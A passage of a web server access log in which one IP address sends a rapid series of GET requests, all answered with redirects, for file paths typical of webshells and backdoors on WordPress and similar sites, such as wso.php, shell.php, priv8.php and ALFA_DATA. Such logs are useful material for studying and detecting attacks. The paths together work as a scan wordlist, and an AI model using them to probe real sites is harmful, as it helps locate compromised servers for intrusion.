[07/Apr/2025:05:17:16 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/index.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:17:17 -0400] "GET /colors.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:17:20 -0400] "GET /wp-admin/dropdown.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:17:21 -0400] "GET /menu.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:17:21 -0400] "GET /wp/wp-admin/includes/wp-admin/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:17:22 -0400] "GET /wp-content/plugins/nsplvxi/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:17:22 -0400] "GET /wp-includes/css/dist/widgets/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:17:22 -0400] "GET /wp/wp-content/themes/f6pe9wcj/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:17:23 -0400] "GET /css/dmtixucz/golden-access/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:17:23 -0400] "GET /wp-content/plugins/wp-theme-editor/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:17:24 -0400] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:17:24 -0400] "GET /wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:17:24 -0400] "GET /wp-admin/YP1cuvy6WrD.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:17:25 -0400] "GET /alert.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:17:26 -0400] "GET /wp-content/plugins/config HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:17:26 -0400] "GET /wp-content/themes/bltm/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:17:27 -0400] "GET /wp-content/plugins/6i85g10k/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:17:28 -0400] "GET /wp-content/uploads/2014/03/smile.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:17:29 -0400] "GET //wp-2019.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:17:30 -0400] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:17:30 -0400] "GET /wp-includes/wp-class.php/wp-content/uploads/wp_live_chat/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:17:31 -0400] "GET /wp-admin/js/widgets/about.php7 HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:17:32 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:17:33 -0400] "GET /backup.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:17:34 -0400] "GET /editor.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:17:35 -0400] "GET /bitrix/js/seo/ads/client_selector/lang/ru/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:17:35 -0400] "GET /wp-content/themes/twentyfive/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:17:36 -0400] "GET /.well-known/pki-validation/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:17:36 -0400] "GET /.well-known/amaxx.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:17:37 -0400] "GET /block-bindings.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:17:38 -0400] "GET /css/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:17:38 -0400] "GET /assets/cms/plugins/ckfinder/_samples/php/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:17:39 -0400] "GET /wp-includes/blocks/comment-template/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:17:39 -0400] "GET /wp-content/plugins/css-ready/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:17:39 -0400] "GET /wp-content/themes/pridmag/db.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:17:40 -0400] "GET /wp-admin/css/colors/coffee/themes.php.hacked HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:17:40 -0400] "GET /oauth.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:17:41 -0400] "GET /services.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:17:42 -0400] "GET /filemanager/dialog.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:17:43 -0400] "GET /wp-includes/Requests/Exception/content.php.suspected HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:17:45 -0400] "GET /wp-includes/css/dist/components/admin.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:17:46 -0400] "GET /bypass.php7 HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:17:47 -0400] "GET /wp-admin/css/colors/sunrise/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:17:47 -0400] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:17:48 -0400] "GET /wp-contentt.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:17:48 -0400] "GET /02.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:17:50 -0400] "GET /components/com_jea/views/form/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:17:51 -0400] "GET /wp-consar.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:17:52 -0400] "GET /ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:17:53 -0400] "GET /docs/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:17:53 -0400] "GET /wp-includes/assets/plugins.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:17:54 -0400] "GET /wp-content/plugins/masterx/wpx.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:17:55 -0400] "GET /sleepster/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:17:55 -0400] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:17:56 -0400] "GET /images/cloud.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:17:56 -0400] "GET /wp-admin/js/widgets/cong.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:17:57 -0400] "GET /wp-includes/qw.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:17:57 -0400] "GET /wp-includes/block-supports/index.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:17:58 -0400] "GET /wp-includes/js/e3B6W/index.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:18:00 -0400] "GET /php/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:18:01 -0400] "GET /wp-content/plugins/df2xx/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:18:02 -0400] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:18:03 -0400] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:18:03 -0400] "GET /system/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:18:04 -0400] "GET /wp-content/plugins/lgexwbe/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:18:05 -0400] "GET /epinyins.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:18:06 -0400] "GET /wp-includes/Text/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:18:06 -0400] "GET /ioxi02.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:18:07 -0400] "GET /wp-includes/ID3/module.tag.id3v3.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:18:08 -0400] "GET /wp-content/plugins/seoplugins/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:18:09 -0400] "GET /css/dist/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:18:10 -0400] "GET /.well-known/acme-challenge/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:18:11 -0400] "GET /wso.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:18:12 -0400] "GET /wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:18:13 -0400] "GET /wp-content/1.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:18:13 -0400] "GET /configure.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:18:14 -0400] "GET /wp-content/plugins/seoplugins/db.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:18:15 -0400] "GET /wp-includes/defaults.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:18:15 -0400] "GET /wp-includes/certificates/about.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:18:17 -0400] "GET /edit-tags.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:18:18 -0400] "GET /wp-content/plugins/apikey/mar.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:18:19 -0400] "GET /wp-includes/IXR/index.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:18:21 -0400] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:18:21 -0400] "GET /makeasmtp.php/wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:18:22 -0400] "GET /images/stories/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:18:23 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:18:23 -0400] "GET /wp-content/upgrade/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:18:24 -0400] "GET /libraries/phpmailer/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:18:24 -0400] "GET /wp-content/updates.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:18:25 -0400] "GET /change_password.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:18:25 -0400] "GET /wp-admin/images/profile.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:18:27 -0400] "GET /wp-includes/js/codemirror/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:18:28 -0400] "GET /wp-content/uploads/2023/03/z.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:18:30 -0400] "GET /hehehehe.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:18:31 -0400] "GET /wp-content/plugins/seooyanz/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:18:32 -0400] "GET /wp-content/plugins/dazmhjz/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:18:33 -0400] "GET /wp-includes/blocks/heading/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:18:34 -0400] "GET /wp-includes/Requests/src/Auth/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:18:35 -0400] "GET /wp-content/plugins/fancybox-for-wordpress/fancybox/termark/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:18:36 -0400] "GET /wp-admin/includes/sx.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:18:37 -0400] "GET /chtmlfuns.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:18:39 -0400] "GET /wp-content/themes/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:18:42 -0400] "GET /wp-includes/js/jcrop/Jcrop.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:18:45 -0400] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:18:45 -0400] "GET /wp-content/plugins/qufeaoy/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:18:47 -0400] "GET /wp-content/themes/twenty/twenty.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:18:48 -0400] "GET /wp-content/themes/newstoday/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:18:49 -0400] "GET /wp-content/blogs.dir/about.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:18:50 -0400] "GET /.well-known/acme-challenge/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:18:51 -0400] "GET /.well-known/pki-validation/fond.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:18:51 -0400] "GET /wp-includes/bmccxior.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:18:52 -0400] "GET /user.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:18:53 -0400] "GET /wp-includes/images/smaxx.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:18:55 -0400] "GET /wp-includes/js/crop/crop.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:18:56 -0400] "GET /chosen HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:18:57 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:18:58 -0400] "GET /wxo.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:18:59 -0400] "GET /welcome.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:18:59 -0400] "GET /olux.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:19:00 -0400] "GET /wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:19:01 -0400] "GET /wp-admin/css/colors/ocean/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:19:01 -0400] "GET /wp-includes/css/core.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:19:01 -0400] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:19:02 -0400] "GET /wp-content/plugins/akbifoe/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:19:03 -0400] "GET /project/plugins/bootstrap-rtl/css/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:19:04 -0400] "GET /cgi-bin/admin.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:19:05 -0400] "GET /users.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:19:06 -0400] "GET /wp-content/upgrade/edit-links.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:19:08 -0400] "GET /themes/zMousse/otuz1.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:19:10 -0400] "GET /wp-tinymce.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:19:12 -0400] "GET /cgi-bin/wp-signup.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:19:14 -0400] "GET /wp-includes/js/jcrop/sx.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:19:15 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:19:17 -0400] "GET /lv.php7 HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:19:21 -0400] "GET /ebs.php7 HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:19:23 -0400] "GET /.well-known/pki-validation/ibkejxnu.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:19:23 -0400] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:19:25 -0400] "GET /wp-sigunq.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:19:26 -0400] "GET /migrate.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:19:28 -0400] "GET /test/essexec.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:19:29 -0400] "GET /plugins/background-image-cropper/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:19:30 -0400] "GET /wp-content/uploads/2023/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:19:31 -0400] "GET /wp-content/plugins/wp-help/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:19:33 -0400] "GET /wp-includes/blocks/block/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:19:33 -0400] "GET /author.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:19:34 -0400] "GET /wp-admin/user/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:19:35 -0400] "GET /link.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:19:36 -0400] "GET /notifications.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:19:36 -0400] "GET /suu.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:19:37 -0400] "GET /wp-content/uploads/about.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:19:39 -0400] "GET /wp-admin/images/wp-load.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:19:40 -0400] "GET /priv8.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:19:41 -0400] "GET /wp-content/plugins/erinyani/yani/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:19:42 -0400] "GET /wp-includes/Requests/Utility/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:19:43 -0400] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:19:44 -0400] "GET /wp-content/plugins/core-plugin/smaxx.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:19:44 -0400] "GET /.well-known/pki-validation/shell.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:19:45 -0400] "GET /wp-includes/style-engine/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:19:46 -0400] "GET /wp-includes/widgets/about.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:19:47 -0400] "GET /assets/css/403.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:19:49 -0400] "GET /wp-includes/blocks/latest-comments/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:19:49 -0400] "GET /wp-content/plugins/lsxvhpg/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:19:50 -0400] "GET /pki-validation/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:19:53 -0400] "GET /wp-content/plugins/idjnpjx/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:19:53 -0400] "GET /wp-admin/css/admin.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:19:54 -0400] "GET /ioxi001.PhP7 HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:19:55 -0400] "GET /wp-content/plugins/yfsmxkj/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:19:56 -0400] "GET /wp-admin/includes/users.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:19:57 -0400] "GET /.well-known/pki-validation/lang-load-role.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:19:58 -0400] "GET /geju.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:19:59 -0400] "GET /about.php525 HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:20:00 -0400] "GET /wp-includes/sodium_compat/src/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:20:00 -0400] "GET /wp-content/themes/h47vbpo2/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:20:01 -0400] "GET /wp-content/plugins/erin/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:20:04 -0400] "GET /wp-links.php/wp-content/plugins/wp-content/uploads/wp_live_chat/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:20:06 -0400] "GET /wp-includes/Text/Diff/Engine.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:20:08 -0400] "GET /assets/libs/filemanager/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:20:10 -0400] "GET /aa.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:20:11 -0400] "GET /wp-includes/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:20:11 -0400] "GET /wp-content/plugins/pxkxbea/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:20:12 -0400] "GET /xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:20:13 -0400] "GET /filter.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:20:14 -0400] "GET /wp-admin/images/thumbs.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:20:14 -0400] "GET /yanz.php/wp-admin/user/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:20:15 -0400] "GET /wp-includes/Requests/library/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:20:15 -0400] "GET /wp-content/uploads/chosen.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:20:16 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:20:17 -0400] "GET /wp-admin/user/cloud.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:20:19 -0400] "GET /wp-admin/maint/src_api.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:20:20 -0400] "GET /wp-includes/sodium_compat/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:20:21 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:20:21 -0400] "GET /alfanew2.php7 HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:20:21 -0400] "GET /.well-known/pki-validation/themes.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:20:22 -0400] "GET /wp-includes/Text/Diff/Renderer/install.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:20:22 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:20:22 -0400] "GET /images/resumes/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:20:23 -0400] "GET /wp-includes/js/tinymce/utils/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:20:23 -0400] "GET /wp-content/uploads/2023/08/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:20:23 -0400] "GET /new.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:20:24 -0400] "GET /wp-content/plugins/Duplicatepost/src/ui/sidwso.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:20:24 -0400] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:20:24 -0400] "GET /wp-includes/html-api/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:20:25 -0400] "GET /wp-content/plugins/sfdfryt/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:20:25 -0400] "GET /edit-comments.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:20:26 -0400] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:20:26 -0400] "GET /about.php?dir=/home/tvfuazjx/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:20:26 -0400] "GET /wp-content/plugins/vheezid/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:20:27 -0400] "GET /gawean.PhP7 HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:20:27 -0400] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:20:32 -0400] "GET /wp-includes/Requests/library/don.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:20:33 -0400] "GET /wp-includes/ID3/sx.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:20:33 -0400] "GET /init.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:20:34 -0400] "GET /wp-admin/plugins/setup HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:20:34 -0400] "GET /wp-content/user/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:20:35 -0400] "GET /wp-admin/css/sx.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:20:36 -0400] "GET /options.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:20:36 -0400] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:20:37 -0400] "GET /download.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:20:38 -0400] "GET /1.php7 HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:20:38 -0400] "GET /up.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:20:39 -0400] "GET /query.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:20:40 -0400] "GET /cgi-bin/cloud.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:20:40 -0400] "GET /css/admin.php 